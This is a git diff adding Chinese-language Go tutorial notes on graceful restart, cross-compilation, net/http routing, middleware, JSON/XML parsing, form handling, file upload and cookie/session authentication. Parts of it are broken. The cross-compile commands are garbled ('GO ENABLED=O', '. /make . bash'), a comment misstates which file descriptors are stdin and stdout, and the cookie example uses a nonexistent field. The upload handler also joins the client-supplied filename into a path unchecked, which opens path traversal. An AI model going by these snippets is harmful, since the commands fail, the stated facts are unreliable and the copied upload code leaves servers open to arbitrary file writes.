通过这种方式我们就可以很方便的查找相应的信息,这样有利于我们针对应用日志做一些统计和分析。另外我们还需要考虑日志的大小,对于一个高流量的Web应用来说,日志的增长是相当可怕的,所以我们在seelog的配置文件里面设置了logrotate,这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题。
|
98
03-工程管理/08-平滑升级.md
Normal file
98
03-工程管理/08-平滑升级.md
Normal file
@ -0,0 +1,98 @@
|
||||
## 平滑升级
|
||||
服务器在升级时,正在处理的请求需要等待其完成,再退出。Go1.8之后支持该设计。
|
||||
|
||||
实现步骤原理:
|
||||
- 1 fork一个子进程,继承父进程的监听socket
|
||||
- 2 子进程启动后,接收新的连接,父进程处理原有请求并且不再接收新请求
|
||||
|
||||
当系统重启或者升级时,正在处理的请求以及新来的请求该如何处理?
|
||||
|
||||
正在处理的请求如何处理:
|
||||
|
||||
等待处理完成之后,再推出,Go1.8之后已经支持。比如每来一个请求,计数+1,处理完一个请求,计数-1,当计数为0时,则执行系统升级。
|
||||
|
||||
新进来的请求如何处理:
|
||||
- Fork一个子进程,继承父进程的监听socket(os.Cmd对象中的ExtraFiles参数进行传递,并继承文件句柄)
|
||||
- 子进程启动成功后,接收新的连接
|
||||
- 父进程停止接收新的连接,等已有的请求处理完毕,退出,优雅重启成功。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
child *bool
|
||||
)
|
||||
|
||||
func startChild(file *os.File) {
|
||||
|
||||
args := []string{"-child"}
|
||||
cmd := exec.Command(os.Args[0], args...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
cmd.ExtraFiles = []*os.File{file}
|
||||
err := cmd.Start()
|
||||
if err != nil {
|
||||
fmt.Printf("start child failed, err:%v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func init() {
|
||||
//命令行有child选项,则是子进程,没有则是父进程
|
||||
child = flag.Bool("child", false, "继承于父进程")
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
func readFromParent() {
|
||||
// fd=0 标准输出,=1标准输入,=2标准错误输出,=3 ExtraFiles[0] =4 EAxtraFiles[1]
|
||||
f := os.NewFile(3, "")
|
||||
count := 0
|
||||
for {
|
||||
str := fmt.Sprintf("hello, i'child process, write:%d line \n", count)
|
||||
count++
|
||||
_, err := f.WriteString(str)
|
||||
if err != nil {
|
||||
fmt.Printf("wrote string failed, err:%v\n", err)
|
||||
time.Sleep(time.Second)
|
||||
continue
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
if child != nil && *child == true {
|
||||
fmt.Printf("继承于父进程的文件句柄\n")
|
||||
readFromParent()
|
||||
return
|
||||
}
|
||||
|
||||
//父进程逻辑
|
||||
file, err := os.OpenFile("./test_inherit.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0755)
|
||||
if err != nil {
|
||||
fmt.Printf("open file failed, err:%v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
_, err = file.WriteString("parent write one line \n")
|
||||
if err != nil {
|
||||
fmt.Printf("parent write failed, err:%v\n", err)
|
||||
}
|
||||
|
||||
startChild(file)
|
||||
fmt.Printf("parent exited")
|
||||
}
|
||||
```
|
||||
|
||||
|
26
03-工程管理/09-交叉编译.md
Normal file
26
03-工程管理/09-交叉编译.md
Normal file
@ -0,0 +1,26 @@
|
||||
## 一 交叉编译
|
||||
|
||||
交叉编译是在一个平台上生成另一个平台上的可执行代码。
|
||||
|
||||
### 1.1 Go1.5及之后的交叉编译
|
||||
|
||||
Go1.5编译工具链也是使用Go语言书写,Go编译器内置交叉编译功能,只需要时和之GOOS和GOARCH即可进行交叉编译:
|
||||
```
|
||||
# 进入源码目录
|
||||
|
||||
# 编译为Linux目标文件(如果要编译为win,则GOOS=windows)
|
||||
GO ENABLED=O GOOS=linux GOARCH=amd64 go build xxx.go
|
||||
```
|
||||
|
||||
### 1.2 Go1.4及之前的交叉编译
|
||||
|
||||
Go1.4之前,由于编译器是C语言书写,交叉编译前需要在当前平台构建一个目标平台的编译环境,然后通过设置GOOS和GOARCH进行交叉编译:
|
||||
```
|
||||
# 进入源码目录
|
||||
|
||||
# 在Linux下构建Win的交叉编译环境
|
||||
CGO ENABLED=O GOOS=windows GOARCH=amd64 . /make . bash
|
||||
|
||||
# 交叉编译
|
||||
CGO ENABLED= O GOOS=windows GOARCH=amd64 go build xxx.go
|
||||
```
|
4
04-Web编程/00-1-网络简略-概述.md
Normal file
4
04-Web编程/00-1-网络简略-概述.md
Normal file
@ -0,0 +1,4 @@
|
||||
## 一 协议
|
||||
|
||||
|
||||
## 二
|
139
04-Web编程/01-初探web开发.md
Normal file
139
04-Web编程/01-初探web开发.md
Normal file
@ -0,0 +1,139 @@
|
||||
## 一 Hello World
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import(
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func helloworld(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "hello world!")
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
http.HandleFunc("/hello", helloworld)
|
||||
|
||||
server := http.Server{
|
||||
Addr: ":8080",
|
||||
}
|
||||
server.ListenAndServe()
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
访问:`localhost:8080/hello`,页面输出:`hello world!`
|
||||
|
||||
## 二 常见功能
|
||||
|
||||
#### 2.1 静态文件管理
|
||||
|
||||
在helloworld项目的目录中创建文件夹`public`用于存放html静态文件:
|
||||
```go
|
||||
files := http.FileServer(http.Dir("./public"))
|
||||
http.Handle("/static/", http.StripPrefix("/static/", files))
|
||||
```
|
||||
|
||||
注意:
|
||||
- 直接使用编辑器运行会造成路径不正确,应该先使用 `go build` 后,运行二进制文件。推荐使用绝对路径:`os.Executable()`获取绝对路径
|
||||
- 访问类似`http://localhost:8080/static/hello.html`网址,服务端会替换掉static为`public`路径
|
||||
|
||||
#### 2.2 参数获取
|
||||
|
||||
在helloword案例的整理目录结构如下:
|
||||
|
||||
![](../images/go/03-01.png)
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import(
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func helloworld(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// 默认不会解析,需要先解析表单
|
||||
err := r.ParseForm()
|
||||
if err != nil {
|
||||
fmt.Println("参数解析出错:", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("path", r.URL.Path) // 输出 /
|
||||
fmt.Println(r.Form) // 输出 map[id:[4] name:[张三]]
|
||||
|
||||
fmt.Fprintf(w, "helloworld")
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
http.HandleFunc("/hello", helloworld)
|
||||
|
||||
files := http.FileServer(http.Dir("./public"))
|
||||
http.Handle("/static/", http.StripPrefix("/static/", files))
|
||||
|
||||
server := http.Server{
|
||||
Addr: ":8080",
|
||||
}
|
||||
server.ListenAndServe()
|
||||
|
||||
}
|
||||
```
|
||||
GET和POST方式访问时,参数解析都会得到支持:
|
||||
- GET方式访问:访问地址为 `localhost:8080/?id=4&name=张三`
|
||||
- POST方式访问:在hello.html文件中加入如下ajax访问方式
|
||||
```js
|
||||
<script src="../lib/jquery1.11.3.js"></script>
|
||||
<script>
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/hello",
|
||||
data: {
|
||||
"id": 4,
|
||||
"name": "张三",
|
||||
},
|
||||
success: function (data) {
|
||||
console.log("data=",data);
|
||||
},
|
||||
error: function(err){
|
||||
console.log("err=",err);
|
||||
}
|
||||
})
|
||||
</script>
|
||||
```
|
||||
|
||||
#### 2.3 模板引擎
|
||||
|
||||
笔者是坚定的前后端分离主义者,这里只是介绍go默认模板引擎的基本使用。
|
||||
|
||||
在Go语言中,使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板。
|
||||
|
||||
在上述helloworld案例的main函数中添加一个处理函数:
|
||||
```go
|
||||
http.HandleFunc("/testTemplate", testTemplate)
|
||||
```
|
||||
处理函数为:
|
||||
```go
|
||||
// 解析模板文件
|
||||
t, _ := template.ParseFiles("./views/test.html")
|
||||
// 声明一个字符串切片
|
||||
stars := []string{"马蓉", "李小璐", "白百何"}
|
||||
// 执行模板
|
||||
t.Execute(w, stars)
|
||||
```
|
||||
创建一个模板文件`views/test.html`:
|
||||
```html
|
||||
<body>
|
||||
<!-- 嵌入动作 -->
|
||||
{{range .}}
|
||||
<a href="#">{{.}}</a>
|
||||
{{else}}
|
||||
没有遍历到任何内容
|
||||
{{end}}
|
||||
</body>
|
||||
```
|
||||
|
143
04-Web编程/02-ServeMux与中间件.md
Normal file
143
04-Web编程/02-ServeMux与中间件.md
Normal file
@ -0,0 +1,143 @@
|
||||
## 一 Handler
|
||||
|
||||
在golang的web开发中,一个handler响应一个http请求:
|
||||
```go
|
||||
type Handler interface{
|
||||
ServerHTTP(ResponseWriter, *Request)
|
||||
}
|
||||
```
|
||||
|
||||
Handler可以有多种实现方式:
|
||||
```go
|
||||
// 实现一:HandlerFunc。
|
||||
// HandlerFunc是对是用户定义的处理函数的包装,实现了ServeHTTP方法,在方法内执行HandlerFunc对象
|
||||
type HandlerFunc func(ResponseWriter, *Request)
|
||||
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
|
||||
f(w, r)
|
||||
}
|
||||
|
||||
// 实现二:ServeMux
|
||||
// ServeMux是管理http请求pattern和handler的,实现了ServeHTTP方法,在其内根据请求匹配HandlerFunc,并执行其ServeHTTP方法
|
||||
type ServeMux struct {
|
||||
mu sync.RWMutex
|
||||
m map[string]muxEntry
|
||||
es []muxEntry // slice of entries sorted from longest to shortest.
|
||||
hosts bool // whether any patterns contain hostnames
|
||||
}
|
||||
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
|
||||
h, _ := mux.Handler(r)
|
||||
h.ServeHTTP(w, r) // 调用的是HandlerFunc的ServeHTTP
|
||||
}
|
||||
|
||||
|
||||
// 实现三:serverHandler
|
||||
// serverHandler是对Server的封装,实现了ServeHTTP方法,并在其内执行ServeMux的ServeHTTP方法
|
||||
type serverHandler struct {
|
||||
srv *Server
|
||||
}
|
||||
func (sh serverHandler) ServeHTTP(rw ResponseWriter, req *Request) {
|
||||
handler := sh.srv.Handler
|
||||
if handler == nil {
|
||||
handler = DefaultServeMux
|
||||
}
|
||||
...
|
||||
handler.ServeHTTP(rw, req) // 调用的是ServerMux的ServeHTTP
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## 二 ServeMux
|
||||
|
||||
ServeMux是一个HTTP请求多路复用器。它根据已注册模式(pattern)列表匹配每个传入请求的URL,并调用与URL最匹配的模式的处理程序(handler)。
|
||||
|
||||
按照第一章的方式构建三个服务接口:
|
||||
```go
|
||||
|
||||
http.HandleFunc("/", mainHandler)
|
||||
http.HandleFunc("/hello/", helloHandler)
|
||||
http.HandleFunc("/world/", worldHandler)
|
||||
|
||||
server := http.Server{
|
||||
Addr: ":8080",
|
||||
}
|
||||
server.ListenAndServe()
|
||||
```
|
||||
|
||||
此时访问:
|
||||
- localhost:8080/hello:会响应helloHandler函数
|
||||
- localhost:8080/hello/:同样会响应helloHandler函数
|
||||
|
||||
实际上,访问`localhost:8080/hello`时,其实会以301重定向方式自动补齐为:`/hello/`,然后浏览器自动发起第二次请求。
|
||||
|
||||
如果使用ServeMux注册路由:
|
||||
```go
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/", mainHandler)
|
||||
mux.HandleFunc("/hello", helloHandler)
|
||||
mux.HandleFunc("/world", worldHandler)
|
||||
|
||||
server := http.Server{
|
||||
Addr: ":8080",
|
||||
Handler: mux,
|
||||
}
|
||||
server.ListenAndServe()
|
||||
```
|
||||
此时访问:
|
||||
- localhost:8080/hello:会响应helloHandler函数
|
||||
- localhost:8080/hello/:会响应mainHandler函数!!!
|
||||
|
||||
在使用ServeMux时:
|
||||
- 如果pattern以"/"开头,表示匹配URL的路径部分
|
||||
- 如果pattern不以"/"开头,表示从host开始匹配
|
||||
- 匹配时长匹配优先于短匹配,注册在"/"上的pattern会被所有请求匹配,但其匹配长度最短
|
||||
- 如果pattern带上了尾随斜线"/",ServeMux将会对请求不带尾随斜线的URL进行301重定向。例如,在"/images/"模式上注册了一个handler,当请求的URL路径为"/images"时,将自动重定向为"/images/",除非再单独为"/images"模式注册一个handler。
|
||||
- 如果为"/images"注册了handler,当请求URL路径为"/images/"时,将无法匹配到
|
||||
|
||||
示例:
|
||||
```
|
||||
/test/ 注册 handler1
|
||||
/test/thumb/ 注册 handler2
|
||||
|
||||
如果请求的url是:/test/thumb/,则调用handler2
|
||||
如果请求的url是:/test/list/,则调用handler1
|
||||
```
|
||||
|
||||
注意:其实当代码中不显式的创建serveMux对象,http包就默认创建一个DefaultServeMux对象用来做路由管理器mutilplexer。
|
||||
|
||||
## 三 中间件
|
||||
|
||||
很多场景中,路由的处理函数在执行前,要先进行一些校验,比如安全检查,错误处理等等,这些行为需要在路由处理函数执行前有限执行。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
|
||||
import(
|
||||
"fmt"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func before(handle http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r * http.Request) {
|
||||
fmt.Println("执行前置处理")
|
||||
handle(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
func test(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "test1")
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
http.HandleFunc("/", before(test))
|
||||
|
||||
server := http.Server{
|
||||
Addr: "127.0.0.1:8080",
|
||||
}
|
||||
server.ListenAndServe()
|
||||
|
||||
}
|
||||
|
||||
```
|
229
04-Web编程/03-JSON与XML解析.md
Normal file
229
04-Web编程/03-JSON与XML解析.md
Normal file
@ -0,0 +1,229 @@
|
||||
## 一 数据交互的格式
|
||||
|
||||
常见的数据交互格式有:
|
||||
- JSON:JavaScript Object Notation,轻量级的数据交换格式,如:`{"name":"lisi","address": ["北京","上海"]}`
|
||||
- XML:工业开发中常用的数据交互标准格式
|
||||
|
||||
## 二 JSON方式
|
||||
|
||||
#### 2.1 JSON序列化
|
||||
|
||||
JSON序列化与反序列化需要使用`encoding/json`包,如下案例所示:
|
||||
|
||||
```go
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
p := Person {
|
||||
Name: "lisi",
|
||||
Age: 50,
|
||||
}
|
||||
|
||||
data, _ := json.Marshal(&p)
|
||||
fmt.Printf(string(data)); //{"Name":"lisi","Age":50}
|
||||
```
|
||||
|
||||
同理,我们也可以使用上述方法对基本数据类型、切片、map等数据进行序列化。
|
||||
|
||||
在结构体序列化时,如果希望序列化后的`key`的名字可以自定义,可以给该结构体指定一个`tag`标签:
|
||||
```go
|
||||
type Person struct {
|
||||
Name string `json:"my_name"`
|
||||
Age int `json:"my_age"`
|
||||
}
|
||||
//序列化的结果:{"my_name":"lisi","my_age":50}
|
||||
```
|
||||
|
||||
在定义`struct tag`的时候需要注意的几点是:
|
||||
- 字段的tag是`"-"`,那么这个字段不会输出到JSON
|
||||
- tag中如果带有`"omitempty"`选项,那么如果该字段值为空,就不会输出到JSON串中
|
||||
- 如果字段类型是bool, string, int, int64等,而tag中带有`",string"`选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
|
||||
- JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型)
|
||||
- Channel, complex和function是不能被编码成JSON的
|
||||
- 嵌套的数据是不能编码的,不然会让JSON编码进入死循环
|
||||
- 指针在编码的时候会输出指针指向的内容,而空指针会输出null
|
||||
|
||||
|
||||
#### 2.2 JSON反序列化
|
||||
```go
|
||||
|
||||
str := `{"Name":"lisi","Age":50}`
|
||||
|
||||
// 反序列化json为结构体
|
||||
type Person struct {
|
||||
Name string
|
||||
Age int
|
||||
}
|
||||
|
||||
var p Person
|
||||
json.Unmarshal([]byte(str), &p)
|
||||
fmt.Println(p) //{lisi 50}
|
||||
```
|
||||
|
||||
#### 2.3 解析到interface
|
||||
|
||||
2.1和2.2的案例中,我们知道json的数据结构,可以直接进行序列化操作,如果不知道JSON具体的结构,就需要解析到interface,因为interface{}可以用来存储任意数据类型的对象。
|
||||
|
||||
JSON包中采用`map[string]interface{}`和`[]interface{}`结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下:
|
||||
- bool 代表 JSON booleans,
|
||||
- float64 代表 JSON numbers,
|
||||
- string 代表 JSON strings,
|
||||
- nil 代表 JSON null
|
||||
|
||||
现在我们假设有如下的JSON数据
|
||||
```go
|
||||
jsonStr := `{"Name":"Lisi","Age":6,"Parents":["Lisan","WW"]}`
|
||||
jsonBytes := []byte(jsonStr)
|
||||
|
||||
var i interface{}
|
||||
json.Unmarshal(jsonBytes, &i)
|
||||
fmt.Println(i) // map[Age:6 Name:Lisi Parents:[Lisan WW]]
|
||||
```
|
||||
|
||||
上述变量`i`存储了存储了一个map类型,key是strig,值存储在空接口内,
|
||||
如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面,其真实结构如下:
|
||||
|
||||
```Go
|
||||
i = map[string]interface{}{
|
||||
"Name": "Lisi",
|
||||
"Age": 6,
|
||||
"Parents": []interface{}{
|
||||
"Lisan",
|
||||
"WW",
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
由于是空接口类型,无法直接访问,需要使用断言方式:
|
||||
```go
|
||||
m := i.(map[string]interface{})
|
||||
for k, v := range m {
|
||||
switch r := v.(type) {
|
||||
case string:
|
||||
fmt.Println(k, " is string ", r)
|
||||
case int:
|
||||
fmt.Println(k, " is int ", r)
|
||||
case []interface{}:
|
||||
fmt.Println(k, " is array ", )
|
||||
for i, u := range r {
|
||||
fmt.Println(i, u)
|
||||
}
|
||||
default:
|
||||
fmt.Println(k, " cannot be recognized")
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
上面是官方提供的解决方案,操作起来不是很方便,推荐使用第三方包有:
|
||||
- https://github.com/bitly/go-simplejson
|
||||
- https://github.com/thedevsaddam/gojsonq
|
||||
|
||||
## 三 XML方式
|
||||
|
||||
#### 3.1 解析XML
|
||||
|
||||
现在有如下`books.xml`示例:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<books version="1">
|
||||
<book>
|
||||
<bookName>离散数学</bookName>
|
||||
<bookPrice>120</bookPrice>
|
||||
</book>
|
||||
<book>
|
||||
<bookName>人月神话</bookName>
|
||||
<bookPrice>75</bookPrice>
|
||||
</book>
|
||||
</books>
|
||||
```
|
||||
|
||||
通过xml包的`Unmarshal`函数来解析:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
type BookStore struct {
|
||||
XMLName xml.Name `xml:"books"`
|
||||
Version string `xml:"version,attr"`
|
||||
Store []book `xml:"book"`
|
||||
Description string `xml:",innerxml"`
|
||||
}
|
||||
|
||||
type book struct {
|
||||
XMLName xml.Name `xml:"book"`
|
||||
BookName string `xml:"bookName"`
|
||||
BookPrice string `xml:"bookPrice"`
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
file, err := os.Open("books.xml")
|
||||
if err != nil {
|
||||
fmt.Printf("error: %v", err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
if err != nil {
|
||||
fmt.Printf("error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
v := BookStore{}
|
||||
err = xml.Unmarshal(data, &v)
|
||||
if err != nil {
|
||||
fmt.Printf("error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println(v)
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 3.2 生成XML
|
||||
|
||||
xml包中的`Marshal`和`MarshalIndent`两个函数,可以用来生成xml。这两个函数主要的区别是第二个函数会增加前缀和缩进,函数的定义如下所示:
|
||||
```Go
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
type BookStore struct {
|
||||
XMLName xml.Name `xml:"books"`
|
||||
Version string `xml:"version,attr"`
|
||||
Store []book `xml:"book"`
|
||||
}
|
||||
|
||||
type book struct {
|
||||
BookName string `xml:"bookName"`
|
||||
BookPrice string `xml:"bookPrice"`
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
bs := &BookStore{Version: "1"}
|
||||
bs.Store = append(bs.Store, book{"离散数学", "120"})
|
||||
bs.Store = append(bs.Store, book{"人月神话", "75"})
|
||||
|
||||
output, err := xml.MarshalIndent(bs, " ", " ")
|
||||
if err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
}
|
||||
|
||||
// 生成正确xml头
|
||||
os.Stdout.Write([]byte(xml.Header))
|
||||
os.Stdout.Write(output)
|
||||
}
|
168
04-Web编程/04-表单操作.md
Normal file
168
04-Web编程/04-表单操作.md
Normal file
@ -0,0 +1,168 @@
|
||||
## 一 字段校验
|
||||
|
||||
通过内置函数`len()`可以获取字符串的长度,以此可以校验参数的合法性:
|
||||
```Go
|
||||
if len(r.Form["username"][0])==0{
|
||||
//为空的处理
|
||||
}
|
||||
```
|
||||
|
||||
`r.Form`对不同类型的表单元素的留空有不同的处理:
|
||||
- 空文本框、空文本区域以及文件上传,元素的值为空值
|
||||
- 未选中的复选框和单选按钮,则不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,
|
||||
|
||||
## 二 文件上传
|
||||
|
||||
#### 2.1 前后端模拟上传
|
||||
|
||||
前端代码:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title>上传文件</title>
|
||||
</head>
|
||||
<body>
|
||||
<form enctype="multipart/form-data" action="/upload" method="post">
|
||||
<input type="file" name="uploadfile" />
|
||||
<input type="submit" value="upload" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
form的`enctype`属性有如下三种情况:
|
||||
```
|
||||
application/x-www-form-urlencoded # 表示在发送前编码所有字符(默认)
|
||||
multipart/form-data # 文件上传使用,不会不对字符编码。
|
||||
text/plain # 空格转换为 "+" 加号,但不对特殊字符编码。
|
||||
```
|
||||
|
||||
golang的后端处理代码:
|
||||
```go
|
||||
|
||||
// 上传文件处理路由:http.HandleFunc("/upload", upload)
|
||||
func upload(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// 设置上传文件能使用的内存大小,超过了,则存储在系统临时文件中
|
||||
r.ParseMultipartForm(32 << 20)
|
||||
// 获取上传文件句柄
|
||||
file, handler, err := r.FormFile("uploadfile")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
fmt.Fprintf(w, "%v", handler.Header)
|
||||
f, err := os.OpenFile("./upload/" + handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
io.Copy(f, file)
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 go客户端模拟上传
|
||||
|
||||
Go支持模拟客户端表单功能支持文件上传:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
)
|
||||
|
||||
func postFile(filename string, targetUrl string) error {
|
||||
bodyBuf := &bytes.Buffer{}
|
||||
bodyWriter := multipart.NewWriter(bodyBuf)
|
||||
|
||||
//关键的一步操作
|
||||
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
|
||||
if err != nil {
|
||||
fmt.Println("error writing to buffer")
|
||||
return err
|
||||
}
|
||||
|
||||
//打开文件句柄操作
|
||||
fh, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("error opening file")
|
||||
return err
|
||||
}
|
||||
defer fh.Close()
|
||||
|
||||
//iocopy
|
||||
_, err = io.Copy(fileWriter, fh)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
contentType := bodyWriter.FormDataContentType()
|
||||
bodyWriter.Close()
|
||||
|
||||
resp, err := http.Post(targetUrl, contentType, bodyBuf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
resp_body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(resp.Status)
|
||||
fmt.Println(string(resp_body))
|
||||
return nil
|
||||
}
|
||||
|
||||
// sample usage
|
||||
func main() {
|
||||
target_url := "http://localhost:8080/upload"
|
||||
filename := "./test.pdf"
|
||||
postFile(filename, target_url)
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## 三 防止重复提交
|
||||
|
||||
防止表单重复提交的方案有很多,其中之一是在表单中添加一个带有唯一值的隐藏字段:
|
||||
- 1.在服务器端生成一个唯一的随机标识号,专业术语称为Token(令牌),同时在当前用户的Session域中保存这个Token。
|
||||
- 2.将Token发送到客户端的Form表单中,在Form表单中使用隐藏域来存储这个Token
|
||||
- 3.表单提交的时候连同这个Token一起提交到服务器端,然后在服务器端判断客户端提交上来的Token与服务器端生成的Token是否一致,如果不一致,那就是重复提交了,此时服务器端就可以不处理重复提交的表单。如果相同则处理表单提交,处理完后清除当前用户的Session域中存储的标识号。
|
||||
|
||||
在下列情况下,服务器程序将拒绝处理用户提交的表单请求:
|
||||
- 存储Session域中的Token(令牌)与表单提交的Token(令牌)不同。
|
||||
- 当前用户的Session中不存在Token(令牌)。
|
||||
- 用户提交的表单数据中没有Token(令牌)。
|
||||
|
||||
```html
|
||||
用户名:<input type="text" name="username">
|
||||
密码:<input type="password" name="password">
|
||||
<input type="hidden" name="token" value="{{.}}">
|
||||
<input type="submit" value="登陆">
|
||||
```
|
||||
|
||||
在模版里面增加了一个隐藏字段`token`,该值通过MD5(时间戳)来确定唯一值,然后我们把这个值存储到服务器端,以方便表单提交时比对判定。
|
||||
```go
|
||||
func login(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
r.ParseForm()
|
||||
token := r.Form.Get("token")
|
||||
|
||||
if token != "" {
|
||||
//验证token的合法性
|
||||
} else {
|
||||
//不存在token报错
|
||||
}
|
||||
|
||||
// 执行具体登录业务
|
||||
}
|
||||
```
|
217
04-Web编程/05-鉴权.md
Normal file
217
04-Web编程/05-鉴权.md
Normal file
@ -0,0 +1,217 @@
|
||||
## 一 什么是鉴权
|
||||
|
||||
在网站中,有些页面是登录后的用户才能访问的,由于http是无状态的协议,我们无法确认用户的状态(如是否登录)。这时候浏览器在访问这些页面时,需要额外传输一些用户的账户信息给后台,让后台知道该用户是否登录、是哪个用户在访问。
|
||||
|
||||
## 二 cookie
|
||||
|
||||
cookie是浏览器实现的技术,在浏览器中可以存储用户是否登录的凭证,每次请求都会将该凭证发送给服务器。
|
||||
|
||||
cookie实现鉴权步骤:
|
||||
- 用户登录成功后,后端向浏览器设置一个cookie:username=lisi
|
||||
- 每次请求,浏览器会自动把该cookie发送给服务端
|
||||
- 服务端处理请求时,从cookie中取出username,就知道是哪个用户了
|
||||
- 如果没过期,则鉴权通过,过期了,则重定向到登录页
|
||||
|
||||
Go中使用Cookie:
|
||||
```go
|
||||
// 登录时设置cookie
|
||||
expiration := time.Now()
|
||||
expiration = expiration.AddDate(1, 0, 0)
|
||||
cookie := http.Cookie{Name: "username", Value: "张三", Expires: expiration}
|
||||
http.SetCookie(w, &cookie)
|
||||
|
||||
// 再次访问时,获取浏览器传递的cookie
|
||||
// 获取cookie方式一
|
||||
username, _ := r.Cookie("username")
|
||||
// 获取cookie方式二
|
||||
for _, cookie := range r.Cookies() {
|
||||
fmt.Println(cookie.Username)
|
||||
}
|
||||
```
|
||||
|
||||
但是这样做,风险很大,黑客很容易知道cookie中传递的内容,即用户的真实账户信息。
|
||||
|
||||
## 二 session
|
||||
|
||||
#### 2.1 session原理
|
||||
|
||||
为了解决cookie的安全问题,基于cookie,衍生了session技术。session技术将用户的信息存储在了服务端,保证了安全,其实现步骤为:
|
||||
- 服务端设置cookie时,不再存储username,而是存储一个随机生成的字符串,比如32位的uuid,服务端额外存储一个uuid与用户名的映射
|
||||
- 用户再次请求时,会自动把cookie中的uuid带入给服务器
|
||||
- 服务器使用uuid进行鉴权
|
||||
|
||||
一般上述的uuid在cookie中存储的键都是sid(session_id),也就是常说的session方案,服务端此时需要额外开辟空间存储sid与用户真实信息的对应映射。
|
||||
|
||||
#### 2.2 session实现
|
||||
|
||||
如果要手动实现session,需要注意以下方面:
|
||||
- 全局session管理器:
|
||||
- 保证sessionid 的全局唯一性
|
||||
- 为每个客户关联一个session
|
||||
- session 过期处理
|
||||
- session 的存储(可以存储到内存、文件、数据库等)
|
||||
|
||||
关于session数据(sid与真实用户的映射)的存储,可以存放在服务端的一个文件中,比如该session第三方库:https://github.com/gorilla/sessions
|
||||
|
||||
使用示例:
|
||||
```go
|
||||
package main
|
||||
|
||||
import(
|
||||
"fmt"
|
||||
"net/http"
|
||||
